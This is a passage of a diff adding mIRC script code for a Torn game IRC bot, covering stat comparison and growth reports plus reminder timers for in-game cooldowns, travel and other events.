+            if (%rightstr > %leftstr) { var %clstr = 7, %crstr = 6, %diffstr = $chr(45) $+ $tc.addComma($calc(%rightstr - %leftstr)) }
+            if (%rightstr == %leftstr) { var %clstr = 2, %crstr = 2, %diffstr = None }
+            msg # $tc.col(1) $+ Strength: $+ $tc.col(%clstr) $tc.addComma(%leftstr) $tc.col(1) $+ $chr(45) $+ $tc.col(%crstr) $tc.addComma(%rightstr) %compstr $tc.col(8) $+ (Diff: %diffstr $+ )
+            if (%leftdef > %rightdef) { var %cldef = 6, %crdef = 7, %diffdef = $chr(43) $+ $tc.addComma($calc(%leftdef - %rightdef)) }
+            if (%rightdef > %leftdef) { var %cldef = 7, %crdef = 6, %diffdef = $chr(45) $+ $tc.addComma($calc(%rightdef - %leftdef)) }
+            if (%rightdef == %leftdef) { var %cldef = 2, %crdef = 2, %diffdef = None }
+            msg # $tc.col(1) $+ Defense: $+ $tc.col(%cldef) $tc.addComma(%leftdef) $tc.col(1) $+ $chr(45) $+ $tc.col(%crdef) $tc.addComma(%rightdef) %compdef $tc.col(8) $+ (Diff: %diffdef $+ )
+            if (%leftspd > %rightspd) { var %clspd = 6, %crspd = 7, %diffspd = $chr(43) $+ $tc.addComma($calc(%leftspd - %rightspd)) }
+            if (%rightspd > %leftspd) { var %clspd = 7, %crspd = 6, %diffspd = $chr(45) $+ $tc.addComma($calc(%rightspd - %leftspd)) }
+            if (%rightspd == %leftspd) { var %clspd = 2, %crspd = 2, %diffspd = None }
+            msg # $tc.col(1) $+ Speed: $+ $tc.col(%clspd) $tc.addComma(%leftspd) $tc.col(1) $+ $chr(45) $+ $tc.col(%crspd) $tc.addComma(%rightspd) %compspd $tc.col(8) $+ (Diff: %diffspd $+ )
+            if (%leftdex > %rightdex) { var %cldex = 6, %crdex = 7, %diffdex = $chr(43) $+ $tc.addComma($calc(%leftdex - %rightdex)) }
+            if (%rightdex > %leftdex) { var %cldex = 7, %crdex = 6, %diffdex = $chr(45) $+ $tc.addComma($calc(%rightdex - %leftdex)) }
+            if (%rightdex == %leftdex) { var %cldex = 2, %crdex = 2, %diffdex = None }
+            msg # $tc.col(1) $+ Dexterity: $+ $tc.col(%cldex) $tc.addComma(%leftdex) $tc.col(1) $+ $chr(45) $+ $tc.col(%crdex) $tc.addComma(%rightdex) %compdex $tc.col(8) $+ (Diff: %diffdex $+ )
+            if (%lefttot > %righttot) { var %cltot = 6, %crtot = 7, %difftot = $chr(43) $+ $tc.addComma($calc(%lefttot - %righttot)) }
+            if (%righttot > %lefttot) { var %cltot = 7, %crtot = 6, %difftot = $chr(45) $+ $tc.addComma($calc(%righttot - %lefttot)) }
+            if (%righttot == %lefttot) { var %cltot = 2, %crtot = 2, %difftot = None }
+            msg # $tc.col(1) $+ Total: $+ $tc.col(%cltot) $tc.addComma(%lefttot) $tc.col(1) $+ $chr(45) $+ $tc.col(%crtot) $tc.addComma(%righttot) %comptot $tc.col(8) $+ (Diff: %difftot $+ )        
+            .timer $+ 0.tcflag.spam 1 $tc.gcd noop
+          }
+          else {
+            if (%compfail == $nick) { msg # $tc.col(5) $+ You haven't pasted any stats! }
+            else { msg # $tc.col(5) $+ They haven't posted any stats! }
+          }
+        }
+        else { msg # $tc.col(5) $+ Can't do that, try again in $+ $tc.col(2) $timer(0.tcflag.spam).secs $tc.col(5) $+ seconds! }
+      }    
+
+      if ($1 == !growth) {
+        if (!$timer(0.tcflag.spam)) {
+          if ($2 == $null) { msg # $tc.col(3) $+ Displays your/another person's stat growth over X days. $tc.col(1) $+ Usage: $+ $tc.col(2) !growth (Name) Days | halt } 
+          else {
+            if ($2 isnum) { 
+              var %grow.input = $remove($2,$chr(45)) 
+              if ($3 != $null) { var %find = $3 } | else { var %find = $nick }
+            } 
+            elseif ($3 isnum) { var %grow.input = $remove($3,$chr(45)), %find = $2 }
+            else { msg # $tc.col(5) $+ Try again: $+ $tc.col(2) !growth (Name) Days) | halt }
+          }
+          if (%grow.input > 1000000) { msg # $tc.col(5) $+ Liar. | halt }
+          var %ret = $tc.getid(%find)
+          if (%ret == $null) { msg # $tc.col(5) $+ Search for $+ $tc.col(2) %find $tc.col(5) $+ was not found. }
+          else {
+            var %grow.targdate = $calc($tc.time - (%grow.input * 86400))
+            var %grow.file = $tc.statsfile(%ret)
+            var %grow.fileeof = $lines(%grow.file)
+            if (%grow.fileeof < 2) { msg # $tc.col(5) $+ You need to paste your stats more than once to create a growth profile. | halt }
+            var %grow.pos = 1
+            while (%grow.pos < %grow.fileeof) {
+              var %grow.saved $read($qt(%grow.file), %grow.pos)
+              var %grow.readtime $gettok(%grow.saved,1,32)
+              var %grow.readdist $abs($calc(%grow.targdate - %grow.readtime))
+              if (%grow.readdist <= %grow.dist || %grow.dist == $null) {
+                var %grow.time = $gettok(%grow.saved,1,32)
+                var %grow.str = $gettok(%grow.saved,2,32)
+                var %grow.def = $gettok(%grow.saved,3,32)
+                var %grow.spd = $gettok(%grow.saved,4,32)
+                var %grow.dex = $gettok(%grow.saved,5,32)
+                var %grow.total = $calc(%grow.str + %grow.def + %grow.spd + %grow.dex)
+                var %grow.dist = %grow.readdist
+              }
+              inc %grow.pos
+            }
+            var %grow.saved = $read($qt(%grow.file), $lines($qt(%grow.file)))
+            var %grow.lasttime = $gettok(%grow.saved,1,32)
+            var %grow.laststr = $gettok(%grow.saved,2,32)
+            var %grow.lastdef = $gettok(%grow.saved,3,32)
+            var %grow.lastspd = $gettok(%grow.saved,4,32)
+            var %grow.lastdex = $gettok(%grow.saved,5,32)
+            var %grow.age = $duration($calc($tc.time - %grow.time))
+            var %grow.lastage = $duration($calc($tc.time - %grow.lasttime))
+            if ($asctime(%grow.time,yyyy) != $asctime($tc.time,yyyy)) { var %grow.disptime = $asctime(%grow.time,mmm d yyyy) } | else { var %grow.disptime = $asctime(%grow.time,mmm d) }
+            if ($asctime(%grow.lasttime,yyyy) != $asctime($tc.time,yyyy)) { var %grow.displasttime = $asctime(%grow.lasttime,mmm d yyyy) } | else { var %grow.displasttime = $asctime(%grow.lasttime,mmm d) }
+            var %grow.lasttotal $calc(%grow.laststr + %grow.lastdef + %grow.lastspd + %grow.lastdex)
+            msg # $tc.col(1) $+ Stat growth for $+ $tc.col(2) $tc.getname(%ret) $tc.colid(%ret,1,2) $tc.col(1) $+ over the last $+ $tc.col(2) %grow.input $tc.col(1) $+ days.
+            msg # $tc.col(1) $+ Dates: $+ $tc.col(2) %grow.disptime $tc.col(1) $+ @ $+ $tc.col(2) $asctime(%grow.time,h:nn:ss tt) $tc.col(8) $+ ( $+ %grow.age ago) $tc.col(1) $+ to $+ $tc.col(2) %grow.displasttime $tc.col(1) $+ @ $+ $tc.col(2) $asctime(%grow.lasttime,h:nn:ss tt) $tc.col(8) $+ ( $+ %grow.lastage ago) $tc.col(1) $+ (GMT/TC time). 
+            var %grow.chanstring $tc.col(1) $+ Strength: $+ $tc.col(2) $tc.addComma(%grow.str) $tc.col(1) $+ to $+ $tc.col(2) $tc.addComma(%grow.laststr) $tc.col(1) $+ - 
+            if ($calc(%grow.laststr - %grow.str) == 0) { var %grow.chanstring = %grow.chanstring $+ $chr(32) $+ (Growth: $+ $tc.col(7) None $+ $tc.col(1) $+ ) }
+            else { var %grow.chanstring = %grow.chanstring $+ $chr(32) $+ (Growth: $+ $tc.col(6) $tc.addComma($calc(%grow.laststr - %grow.str)) $tc.col(1) $+ - $+ $tc.col(2) $tc.addComma($round($calc(((%grow.laststr / %grow.str) * 100) - 100),2)) $+ $chr(37) $+ $tc.col(1) $+ ) }
+            msg # %grow.chanstring
+            var %grow.chanstring $tc.col(1) $+ Defense: $+ $tc.col(2) $tc.addComma(%grow.def) $tc.col(1) $+ to $+ $tc.col(2) $tc.addComma(%grow.lastdef) $tc.col(1) $+ - 
+            if ($calc(%grow.lastdef - %grow.def) == 0) { var %grow.chanstring = %grow.chanstring $+ $chr(32) $+ (Growth: $+ $tc.col(7) None $+ $tc.col(1) $+ ) }
+            else { var %grow.chanstring = %grow.chanstring $+ $chr(32) $+ (Growth: $+ $tc.col(6) $tc.addComma($calc(%grow.lastdef - %grow.def)) $tc.col(1) $+ - $+ $tc.col(2) $tc.addComma($round($calc(((%grow.lastdef / %grow.def) * 100) - 100),2)) $+ $chr(37) $+ $tc.col(1) $+ ) }
+            msg # %grow.chanstring
+            var %grow.chanstring $tc.col(1) $+ Speed: $+ $tc.col(2) $tc.addComma(%grow.spd) $tc.col(1) $+ to $+ $tc.col(2) $tc.addComma(%grow.lastspd) $tc.col(1) $+ - 
+            if ($calc(%grow.lastspd - %grow.spd) == 0) { var %grow.chanstring = %grow.chanstring $+ $chr(32) $+ (Growth: $+ $tc.col(7) None $+ $tc.col(1) $+ ) }
+            else { var %grow.chanstring = %grow.chanstring $+ $chr(32) $+ (Growth: $+ $tc.col(6) $tc.addComma($calc(%grow.lastspd - %grow.spd)) $tc.col(1) $+ - $+ $tc.col(2) $tc.addComma($round($calc(((%grow.lastspd / %grow.spd) * 100) - 100),2)) $+ $chr(37) $+ $tc.col(1) $+ ) }
+            msg # %grow.chanstring
+            var %grow.chanstring $tc.col(1) $+ Dexterity: $+ $tc.col(2) $tc.addComma(%grow.dex) $tc.col(1) $+ to $+ $tc.col(2) $tc.addComma(%grow.lastdex) $tc.col(1) $+ - 
+            if ($calc(%grow.lastdex - %grow.dex) == 0) { var %grow.chanstring = %grow.chanstring $+ $chr(32) $+ (Growth: $+ $tc.col(7) None $+ $tc.col(1) $+ ) }
+            else { var %grow.chanstring = %grow.chanstring $+ $chr(32) $+ (Growth: $+ $tc.col(6) $tc.addComma($calc(%grow.lastdex - %grow.dex)) $tc.col(1) $+ - $+ $tc.col(2) $tc.addComma($round($calc(((%grow.lastdex / %grow.dex) * 100) - 100),2)) $+ $chr(37) $+ $tc.col(1) $+ ) }
+            msg # %grow.chanstring
+            var %grow.chanstring $tc.col(1) $+ Total: $+ $tc.col(2) $tc.addComma(%grow.total) $tc.col(1) $+ to $+ $tc.col(2) $tc.addComma(%grow.lasttotal) $tc.col(1) $+ - 
+            if ($calc(%grow.lasttotal - %grow.total) == 0) { var %grow.chanstring = %grow.chanstring $+ $chr(32) $+ (Growth: $+ $tc.col(7) None $+ $tc.col(1) $+ ) }
+            else { var %grow.chanstring = %grow.chanstring $+ $chr(32) $+ (Growth: $+ $tc.col(6) $tc.addComma($calc(%grow.lasttotal - %grow.total)) $tc.col(1) $+ - $+ $tc.col(2) $tc.addComma($round($calc(((%grow.lasttotal / %grow.total) * 100) - 100),2)) $+ $chr(37) $+ $tc.col(1) $+ ) }
+            msg # %grow.chanstring        
+            .timer $+ 0.tcflag.spam 1 $tc.gcd noop
+          }
+        }
+        else { msg # $tc.col(5) $+ Can't do that, try again in $+ $tc.col(2) $timer(0.tcflag.spam).secs $tc.col(5) $+ seconds! }
+      }
+    }
+
+    ; --------------------------------- reminder bot code ---------------------------------
+
+    if ($1 == !remind) { 
+      if ($2 == $null) { msg # $tc.col(3) $+ Sends you a reminder notice with message if specified. $tc.col(1) $+ Usage: $+ $tc.col(2) !remind (Duration) (Messsage) | halt }
+      if ($2 == off) {
+        if ($timer($nick $+ .tc.remind)) { .timer $+ $nick $+ .tc.remind off | msg # $tc.col(2) $+ $nick $+ $tc.col(1) $+ , your reminder has been cancelled. }
+        else { msg # $tc.col(5) $+ You have no reminder timer set! }
+        halt
+      }
+      if ($2 !isnum) { var %dur = $tc.timeconv($2) }
+      else { var %dur = $calc($2 * 60) }
+      if (%dur == 0 || %dur > $tc.timemax) { msg # $tc.col(5) $+ Nope. | halt }
+      if ($3 != $null) { 
+        .timer $+ $nick $+ .tc.remind -co 1 %dur .msg $nick $tc.col(2) $+ $nick $+ $tc.col(1) $+ , you asked me to remind you: $+ $tc.col(2) $s($3-)
+        msg # $tc.col(2) $+ $nick $+ $tc.col(1) $+ , I will send you your message in $+ $tc.col(2) $duration(%dur) $tc.col(1) $+ ( $+ $tc.col(2) $+ $asctime($calc($tc.time + %dur),h:nn tt) $tc.col(1) $+ GMT/TC time)
+      }
+      else {
+        .timer $+ $nick $+ .tc.remind -co 1 %dur .msg $nick $tc.col(2) $+ $nick $+ $tc.col(1) $+ , you asked me to remind you. 
+        msg # $tc.col(2) $+ $nick $+ $tc.col(1) $+ , I will remind you in $+ $tc.col(2) $duration(%dur) $+ $tc.col(1) $+ . ( $+ $tc.col(2) $+ $asctime($calc($tc.time + %dur),h:nn tt) $tc.col(1) $+ GMT/TC time)
+      }
+    }
+    if ($1 == !drug || $1 == !durg) { 
+      if ($2 == $null) { msg # $tc.col(3) $+ Sends a message when your drug timer is up. $+ $tc.col(1) Usage: $+ $tc.col(2) !drug (Duration) | halt }
+      if ($2 == off) {
+        if ($timer($nick $+ .tc.drug)) { .timer $+ $nick $+ .tc.drug off | msg # $tc.col(2) $+ $nick $+ $tc.col(1) $+ , your drug alert has been cancelled. }
+        else { msg # $tc.col(5) $+ You have no drug alert set! }
+        halt
+      }
+      if ($2 !isnum) { var %dur = $tc.timeconv($2) }
+      else { var %dur = $calc($2 * 60) }
+      if (%dur == 0 || %dur > $tc.timemax) { msg # $tc.col(5) $+ Nope. | halt }
+      .timer $+ $nick $+ .tc.drug -co 1 %dur .msg $nick $tc.col(2) $+ $nick $+ $tc.col(1) $+ , your drug cooldown is up! 
+      msg # $tc.col(2) $+ $nick $+ $tc.col(1) $+ , I will remind you when your drug cooldown is up in $+ $tc.col(2) $duration(%dur) $+ $tc.col(1) $+ . ( $+ $tc.col(2) $+ $asctime($calc($tc.time + %dur),h:nn tt) $tc.col(1) $+ GMT/TC time)
+    }    
+    if ($1 == !edu) { 
+      if ($2 == $null) { msg # $tc.col(3) $+ Sends a message when your education is up. $+ $tc.col(1) Usage: $+ $tc.col(2) !edu (Duration) | halt }
+      if ($2 == off) {
+        if ($timer($nick $+ .tc.edu)) { .timer $+ $nick $+ .tc.edu off | msg # $tc.col(2) $+ $nick $+ $tc.col(1) $+ , your education alert has been cancelled. }
+        else { msg # $tc.col(5) $+ You have no education alert set! }
+        halt
+      }
+      if ($2 !isnum) { var %dur = $tc.timeconv($2) }
+      else { var %dur = $calc($2 * 60) }
+      if (%dur == 0 || %dur > $tc.timemax) { msg # $tc.col(5) $+ Nope. | halt }
+      .timer $+ $nick $+ .tc.edu -co 1 %dur .msg $nick $tc.col(2) $+ $nick $+ $tc.col(1) $+ , your education is finished! 
+      msg # $tc.col(2) $+ $nick $+ $tc.col(1) $+ , I will remind you when your education is finished in $+ $tc.col(2) $duration(%dur) $+ $tc.col(1) $+ . ( $+ $tc.col(2) $+ $asctime($calc($tc.time + %dur),h:nn tt) $tc.col(1) $+ GMT/TC time)
+    }    
+    if ($1 == !hosp) { 
+      if ($2 == $null) { msg # $tc.col(3) $+ Sends a message when you're out of the hospital. $+ $tc.col(1) Usage: $+ $tc.col(2) !hosp (Duration) | halt }
+      if ($2 == off) {
+        if ($timer($nick $+ .tc.hosp)) { .timer $+ $nick $+ .tc.hosp off | msg # $tc.col(2) $+ $nick $+ $tc.col(1) $+ , your hospital release notice has been cancelled. }
+        else { msg # $tc.col(5) $+ You have no hospital release notice set! }
+        halt
+      }
+      if ($2 !isnum) { var %dur = $tc.timeconv($2) }
+      else { var %dur = $calc($2 * 60) }
+      if (%dur == 0 || %dur > $tc.timemax) { msg # $tc.col(5) $+ Nope. | halt }
+      .timer $+ $nick $+ .tc.hosp -co 1 %dur .msg $nick $tc.col(2) $+ $nick $+ $tc.col(1) $+ , you're out of the hospital! 
+      msg # $tc.col(2) $+ $nick $+ $tc.col(1) $+ , I will remind you when you're released from the hospital in $+ $tc.col(2) $duration(%dur) $+ $tc.col(1) $+ . ( $+ $tc.col(2) $+ $asctime($calc($tc.time + %dur),h:nn tt) $tc.col(1) $+ GMT/TC time)
+    }  
+    if ($1 == !cd || $1 == !booster) { 
+      if ($2 == $null) { msg # $tc.col(3) $+ Sends a message when your booster timer is empty. $+ $tc.col(1) Usage: $+ $tc.col(2) !boost (Duration) | halt }
+      if ($2 == off) {
+        if ($timer($nick $+ .tc.boost)) { .timer $+ $nick $+ .tc.boost off | msg # $tc.col(2) $+ $nick $+ $tc.col(1) $+ , your booster alert has been cancelled. }
+        else { msg # $tc.col(5) $+ You have no booster alert set! }
+        halt
+      }
+      if ($2 !isnum) { var %dur = $tc.timeconv($2) }
+      else { var %dur = $calc($2 * 60) }
+      if (%dur == 0 || %dur > $tc.timemax) { msg # $tc.col(5) $+ Nope. | halt }
+      .timer $+ $nick $+ .tc.boost -co 1 %dur .msg $nick $tc.col(2) $+ $nick $+ $tc.col(1) $+ , your booster cooldown is up! 
+      msg # $tc.col(2) $+ $nick $+ $tc.col(1) $+ , I will remind you when your booster cooldown is up in $+ $tc.col(2) $duration(%dur) $+ $tc.col(1) $+ . ( $+ $tc.col(2) $+ $asctime($calc($tc.time + %dur),h:nn tt) $tc.col(1) $+ GMT/TC time)
+    }    
+    if ($1 == !race) { 
+      if ($2 == $null) { msg # $tc.col(3) $+ Sends a message when your race is finished. $+ $tc.col(1) Usage: $+ $tc.col(2) !race (Duration) | halt }
+      if ($2 == off) {
+        if ($timer($nick $+ .tc.race)) { .timer $+ $nick $+ .tc.race off | msg # $tc.col(2) $+ $nick $+ $tc.col(1) $+ , your race timer has been cancelled. }
+        else { msg # $tc.col(5) $+ You have no race timer set! }
+        halt
+      }
+      if ($2 !isnum) { var %dur = $tc.timeconv($2) }
+      else { var %dur = $calc($2 * 60) }
+      if (%dur == 0 || %dur > $tc.timemax) { msg # $tc.col(5) $+ Nope. | halt }
+      .timer $+ $nick $+ .tc.race -co 1 %dur .msg $nick $tc.col(2) $+ $nick $+ $tc.col(1) $+ , your race is finished! 
+      msg # $tc.col(2) $+ $nick $+ $tc.col(1) $+ , I will remind you when your race has finished in $+ $tc.col(2) $duration(%dur) $+ $tc.col(1) $+ . ( $+ $tc.col(2) $+ $asctime($calc($tc.time + %dur),h:nn tt) $tc.col(1) $+ GMT/TC time)
+    }
+    if ($1 == !travel) { 
+      if ($2 == $null) { msg # $tc.col(3) $+ Sends a message when you land. $+ $tc.col(1) Usage: $+ $tc.col(2) !travel (Duration) | halt }        
+      if ($2 == off) {
+        if ($timer($nick $+ .tc.travel)) { .timer $+ $nick $+ .tc.travel off | msg # $tc.col(2) $+ $nick $+ $tc.col(1) $+ , your travel timer has been cancelled. }
+        else { msg # $tc.col(5) $+ You have no travel timer set! }
+        halt
+      }
+      if ($2 !isnum) { var %dur = $tc.timeconv($2) }
+      else { var %dur = $calc($2 * 60) }
+      if (%dur == 0 || %dur > $tc.timemax) { msg # $tc.col(5) $+ Nope. | halt }
+      .timer $+ $nick $+ .tc.travel -co 1 %dur .msg $nick $tc.col(2) $+ $nick $+ $tc.col(1) $+ , you have landed! 
+      msg # $tc.col(2) $+ $nick $+ $tc.col(1) $+ , I will remind you when you have landed in $+ $tc.col(2) $duration(%dur) $+ $tc.col(1) $+ . ( $+ $tc.col(2) $+ $asctime($calc($tc.time + %dur),h:nn tt) $tc.col(1) $+ GMT/TC time)
+    }
+    if ($1 == !pizza) { 
+      if ($2 == $null) { msg # $tc.col(3) $+ Reminds you about your pizza. $+ $tc.col(1) Usage: $+ $tc.col(2) !pizza (Duration) | halt }
+      if ($2 == off) {
+        if ($timer($nick $+ .tc.pizza)) { .timer $+ $nick $+ .tc.pizza off | msg # $tc.col(2) $+ $nick $+ $tc.col(1) $+ , your pizza alert has been cancelled. }
+        else { msg # $tc.col(5) $+ You have no pizza alert set! }
+        halt
+      }
+      if ($2 !isnum) { var %dur = $tc.timeconv($2) }
+      else { var %dur = $calc($2 * 60) }
+      if (%dur == 0 || %dur > $tc.timemax) { msg # $tc.col(5) $+ Nope. | halt }
+      .timer $+ $nick $+ .tc.pizza -co 1 %dur .msg $nick $tc.col(1) $+ Piiiizzzzzzzzzzzaaaa!!!!!!!!! 
+      msg # $tc.col(2) $+ $nick $+ $tc.col(1) $+ , I will send you a message in $+ $tc.col(2) $duration(%dur) $+ $tc.col(1) $+ . ( $+ $tc.col(2) $+ $asctime($calc($tc.time + %dur),h:nn tt) $tc.col(1) $+ GMT/TC time)
+    }
+    if ($1 == !mow) { 
+      if ($2 == $null) { msg # $tc.col(3) $+ Special timer for Man-O-War, because he is special. $+ $tc.col(1) Usage: $+ $tc.col(2) !mow (Duration) | halt }
+      if ($2 == off) {
+        if ($timer($nick $+ .tc.mow)) { .timer $+ $nick $+ .tc.mow off | msg # $tc.col(2) $+ $nick $+ $tc.col(1) $+ , your MOW alert has been cancelled. }
+        else { msg # $tc.col(5) $+ You have no MOW alert set! }
+        halt
+      }
+      if ($2 !isnum) { var %dur = $tc.timeconv($2) }
+      else { var %dur = $calc($2 * 60) }
+      if (%dur == 0 || %dur > $tc.timemax) { msg # $tc.col(5) $+ Nope. | halt }
+      .timer $+ $nick $+ .tc.mow -co 1 %dur .msg $nick $tc.col(1) $+ mow... mow... mow... mow... mow... 
+      msg # $tc.col(2) $+ $nick $+ $tc.col(1) $+ , I will send you a message in $+ $tc.col(2) $duration(%dur) $+ $tc.col(1) $+ . ( $+ $tc.col(2) $+ $asctime($calc($tc.time + %dur),h:nn tt) $tc.col(1) $+ GMT/TC time)
+    }
+    if ($1-4 == You'll have to wait && $6-11 == before you can take another drug.) {
+      if ($numtok($5,58) == 2) { var %dur = $calc(($gettok($5,1,58) * 60) + $gettok($5,2,58)) }
+      elseif ($numtok($5,58) == 3) { var %dur = $calc(($gettok($5,1,58) * 60 * 60) + ($gettok($5,2,58) * 60) + $gettok($5,3,58)) }
+      else { var %dur = $5 }
+      if (%dur == 0 || %dur > $tc.timemax) { msg # $tc.col(5) $+ Nope. | halt }
+      .timer $+ $nick $+ .tc.drug -co 1 %dur .msg $nick $tc.col(2) $+ $nick $+ $tc.col(1) $+ , your drug cooldown is up! 
+      msg # $tc.col(2) $+ $nick $+ $tc.col(1) $+ , I will remind you when your drug cooldown is up in $+ $tc.col(2) $duration(%dur) $+ $tc.col(1) $+ . ( $+ $tc.col(2) $+ $asctime($calc($tc.time + %dur),h:nn tt) $tc.col(1) $+ GMT/TC time)
+    }
+    if ($1-6 == Your booster cooldown is currently at) {
+      if ($numtok($7,58) == 2) { var %dur = $calc(($gettok($7,1,58) * 60) + $gettok($7,2,58)) }
+      elseif ($numtok($7,58) == 3) { var %dur = $calc(($gettok($7,1,58) * 60 * 60) + ($gettok($7,2,58) * 60) + $remove($gettok($7,3,58),$chr(46))) }
+      else { var %dur = $7 }
+      if (%dur == 0 || %dur > $tc.timemax) { msg # $tc.col(5) $+ Nope. | halt }
+      .timer $+ $nick $+ .tc.boost -co 1 %dur .msg $nick $tc.col(2) $+ $nick $+ $tc.col(1) $+ , your booster cooldown is up! 
+      msg # $tc.col(2) $+ $nick $+ $tc.col(1) $+ , I will remind you when your booster cooldown is up in $+ $tc.col(2) $duration(%dur) $+ $tc.col(1) $+ . ( $+ $tc.col(2) $+ $asctime($calc($tc.time + %dur),h:nn tt) $tc.col(1) $+ GMT/TC time)
+    }
+    if (($4-6 == Remaining Flight Time) || ($5-7 == Remaining Flight Time)) {
+      if ($4 == Remaining) { var %dest = $3, %time = $8 }
+      else { var %dest = $3-4, %time = $9 }
+      if ($gettok(%dest,1,32) == to) { var %dest = Torn }
+      var %timercd = $tc.timeconv(%time)
+      if (%timercd == 0) { msg # $tc.col(5) $+ Nope. | halt }
+      if (%timercd > $tc.timemax) { msg # $tc.col(5) $+ Too long. | halt }
+      .timer $+ $nick $+ .tc.travel -co 1 %timercd .msg $nick $tc.col(2) $+ $nick $+ $tc.col(1) $+ , you have landed at $+ $tc.col(2) $s($remove(%dest,$chr(46))) $+ $tc.col(1) $+ !  
+      msg # $tc.col(2) $+ $nick $+ $tc.col(1) $+ , I will send you a notice in $+ $tc.col(2) $duration(%timercd) $tc.col(1) $+ when you land at $+ $tc.col(2) $remove(%dest,$chr(46)) $+ $tc.col(1) $+ . ( $+ $tc.col(2) $+ $asctime($calc($tc.time + %timercd),h:nn tt) $tc.col(1) $+ GMT/TC time)
+    }
+    if ($1 == You) {
+      if ($1-8 == You are currently on the plane flying to) {      
+        if ($15 isnum) { var %dest = $9 | var %dist = $15 }
+        elseif ($16 isnum) { var %dest = $9-10 | var %dist = $16 }
+        else { halt }
+      }
+      if ($1-10 == You step on board the business class flight direct to) {
+        if ($11 == Ciudad) { var %dist = 8 | var %dest = Mexico }
+        if ($11 == George) { var %dist = 11 | var %dest = Cayman Islands }
+        if ($11 == Toronto) { var %dist = 12 | var %dest = Canada }
+        if ($11 == Honolulu) { var %dist = 40 | var %dest = Hawaii }
+        if ($11 == London) { var %dist = 48 | var %dest = United Kingdom }
+        if ($11 == Buenos) { var %dist = 50 | var %dest = Argentina }
+        if ($11 == Zurich) { var %dist = 53 | var %dest = Switzerland }                
+        if ($11 == Tokyo) { var %dist = 68 | var %dest = Japan }
+        if ($11 == Beijing) { var %dist = 72 | var %dest = China }
+        if ($11 == Dubai) { var %dist = 81 | var %dest = UAE }
+        if ($11 == Johannesburg) { var %dist = 89 | var %dest = South Africa }
+      }
+      if ($1-9 == You step on board WLT's private jet heading for) {
+        var %dest = $remove($10-11,$chr(46))
+        if (%dest == Mexico) { var %dist = 13 }
+        if (%dest == Cayman Islands) { var %dist = 18 }
+        if (%dest == Canada) { var %dist = 20 }
+        if (%dest == Hawaii) { var %dist = 67 }
+        if (%dest == United Kingdom) { var %dist = 80 }
+        if (%dest == Argentina) { var %dist = 83 }
+        if (%dest == Switzerland) { var %dist = 88 }
+        if (%dest == Japan) { var %dist = 113 }
+        if (%dest == China) { var %dist = 121 }
+        if (%dest == UAE) { var %dist = 135 }
+        if (%dest == South Africa) { var %dist = 149 }
+      }
+      if ($1-15 == You make your way over to the airstrip and tell your pilot to head for) {
+        var %dest = $remove($16-17,$chr(46))
+        if (%dest == Mexico) { var %dist = 18 }
+        if (%dest == Cayman Islands) { var %dist = 25 }
+        if (%dest == Canada) { var %dist = 29 }
+        if (%dest == Hawaii) { var %dist = 94 }
+        if (%dest == United Kingdom) { var %dist = 111 }
+        if (%dest == Argentina) { var %dist = 117 }
+        if (%dest == Switzerland) { var %dist = 123 }
+        if (%dest == Japan) { var %dist = 158 }
+        if (%dest == China) { var %dist = 169 }
+        if (%dest == UAE) { var %dist = 190 }
+        if (%dest == South Africa) { var %dist = 208 }
+      }
+      if ($1-6 == You board the airliner heading for) {
+        var %dest = $remove($7-8,$chr(46))
+        if (%dest == Mexico) { var %dist = 26 }
+        if (%dest == Cayman Islands) { var %dist = 35 }
+        if (%dest == Canada) { var %dist = 41 }
+        if (%dest == Hawaii) { var %dist = 134 }
+        if (%dest == United Kingdom) { var %dist = 159 }
+        if (%dest == Argentina) { var %dist = 167 }
+        if (%dest == Switzerland) { var %dist = 175 }
+        if (%dest == Japan) { var %dist = 225 }
+        if (%dest == China) { var %dist = 242 }
+        if (%dest == UAE) { var %dist = 271 }
+        if (%dest == South Africa) { var %dist = 297 }
+      }
+      if (%dist != $null) {
+        if (%dist < 1) { msg # $tc.col(4) $+ Liar. }
+        elseif (%dist <= $tc.timemax) { 
+          var %timercd = $calc(%dist * 60) | var %timerend = $asctime($calc($tc.time + %timercd),h:nn tt)
+          .timer $+ $nick $+ .tc.travel -co 1 %timercd .msg $nick $tc.col(2) $+ $nick $+ $tc.col(1) $+ , you have landed at $+ $tc.col(2) $s($remove(%dest,$chr(46))) $+ $tc.col(1) $+ !  
+          msg # $tc.col(2) $+ $nick $+ $tc.col(1) $+ , I will send you a notice in $+ $tc.col(2) $duration(%timercd) $tc.col(1) $+ when you land at $+ $tc.col(2) $remove(%dest,$chr(46)) $+ $tc.col(1) $+ . ( $+ $tc.col(2) $+ %timerend $tc.col(1) $+ GMT/TC time)
+        }
+        else { msg # $tc.col(4) $+ No can do, timer too long. }
+      }
+    }     
+    if ($istok(!life !nerve !happy !energy,$1,32)) {
+      var %res = $remove($1,$chr(33))
+      if (!$timer($nick $+ .tc. $+ %res)) { msg # $tc.col(5) $+ You have no full %res alert set! | halt }
+      else { .timer $+ $nick $+ .tc. $+ %res off | msg # $tc.col(2) $+ $nick $+ $tc.col(1) $+ , your %res alert has been cancelled. | halt }
+    }
+    if (%tc.echk == $nick) { 
+      unset %tc.echk
+      var %cur = $gettok($1,1,47), %max = $gettok($1,2,47)
+      if (%cur isnum && %cur >= %max) { 
+        var %atks = $floor($calc(%cur / 25))
+        msg # $tc.col(2) $+ $nick $+ $tc.col(6) $+ , you can do $+ $tc.col(2) %atks $tc.col(6) $+ attacks!
+        halt
+      }
+    }
+    if ($istok(Life: Nerve: Happy: Energy:,$1,32)) {
+      var %cur = $calc($tc.cleanN($gettok($2-4,1,47))) | var %max = $calc($tc.cleanN($gettok($gettok($2-4,2,47),1,32)))
+      if (%cur isnum && %max isnum) {
+        if ($1 == Life:) { var %curlim = 10000000, %maxlim = %curlim, %restime = 5, %pertick = $calc(%max * 0.06), %res = life } 
+        if ($1 == Nerve:) { var %curlim = 500, %maxlim = 100, %restime = 5, %pertick = 1, %res = nerve } 
+        if ($1 == Happy:) { var %curlim = 50000, %maxlim = 20000, %restime = 15, %pertick = 5, %res = happy }
+        if ($1 == Energy:) { 
+          if (%max == 15) { var %max = 150 } | if (%max == 10) { var %max = 100 }
+          var %curlim = 1000, %maxlim = 150, %pertick = 5, %res = energy 
+          if (%max == 150) { var %restime = 10 } | else { var %restime = 15 }
+        } 
+        if (%cur > %curlim || %max > %maxlim) { msg # $tc.col(5) $+ Nope. | halt }
+        if (%cur >= %max) { 
+          var %atks = $floor($calc(%cur / 25))
+          if (%atks > 0) {
